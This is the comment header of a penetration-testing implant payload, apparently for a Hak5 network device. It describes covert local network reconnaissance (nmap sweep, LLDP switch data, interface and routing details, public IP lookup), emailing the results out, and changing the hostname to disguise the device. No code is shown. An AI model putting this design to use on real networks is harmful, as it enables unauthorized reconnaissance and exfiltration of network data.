# Title:         Network Recon Payload with email exfiltration
# Author:        Topknot (Based on the orignial HAK5 sample payload and MonsieurMarc Sample Nmap Payload with Patebil exfiltration)
# Version:       1.2
#
# This payload:
# 
# Version 1.1: Make e-mail optional, set DNS as variable
# Version 1.2: Add ability to change system hostname
#
# Performs an nmap ping scan of the local subnet and logs it to a text file
# Pulls LLDP neighbor and switch information and logs it to a text file
# Performs an IFconfig and ip addr show and logs it to a text file
# Performs a traceroute to 8.8.8.8 and logs it to a text file
# Performs a public IP address lookup via curl and icanhazip.com and logs it to a text file
# Optionally sends all of the created text files via email to the address set with MAIL_RCPT
# 
# A nameserver, 1.1.1.1 by default, is set for the payload in case you want to run it in arming mode.
# The HOSTNAME variable can be set to change the system hostname, helping disguise
#
# This payload requires you to have curl, lldpd, and (optionally) msmtp mutt already installed and configured via opkg
# 
# Guide for MSMTP MUTT can be found here https://forum.openwrt.org/t/openwrt-how-to-send-mail-with-attachment-with-mutt-and-msmtp-gmail/45844

# Red ...........Setup
# Amber..........Scanning
# Green..........Finished
#
# See nmap --help for options. Default "-sP" ping scans the address space for
# fast host discovery.
#
# Please enter your email details below. Set SEND_EMAIL=y to send e-mail.
